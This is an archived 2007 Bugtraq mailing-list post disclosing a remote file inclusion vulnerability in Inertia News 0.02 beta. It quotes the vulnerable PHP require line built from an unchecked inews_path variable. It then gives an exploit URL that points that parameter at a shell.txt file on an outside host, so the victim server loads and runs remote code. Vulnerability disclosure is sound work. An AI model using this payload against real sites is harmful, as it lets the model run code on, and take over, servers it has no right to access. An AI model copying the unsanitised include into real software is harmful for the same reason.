[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Inertia News Remote File İnclude

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Inertia News Remote File İnclude
From: crazy_king@xxxxxxxx
Date: 12 Feb 2007 20:55:18 -0000

Version :
0.02 beta

Error : 
require ("$inews_path/inertia_sql_class.php");

Exploit : 
http://www.victim.com/inertianews_main.php?inews_path=http://www.site.com/shell.txt

Eno7.Org - Crazy-King.ORg

Thanks : Apaci & Erne & Eno7 & Tamturk & UyussMan & Ayy&#305;ld&#305;z Tim

Prev by Date: Re: [Full-disclosure] Firefox focus stealing vulnerability (possibly other browsers)
Next by Date: Re: [BLACKLIST] [Full-disclosure] Solaris telnet vulnberability - how many on yournetwork?
Previous by thread: PHP 5.2.1 crash bug
Next by thread: Re: [BLACKLIST] [Full-disclosure] Solaris telnet vulnberability - how many on yournetwork?
Index(es):
- Date
- Thread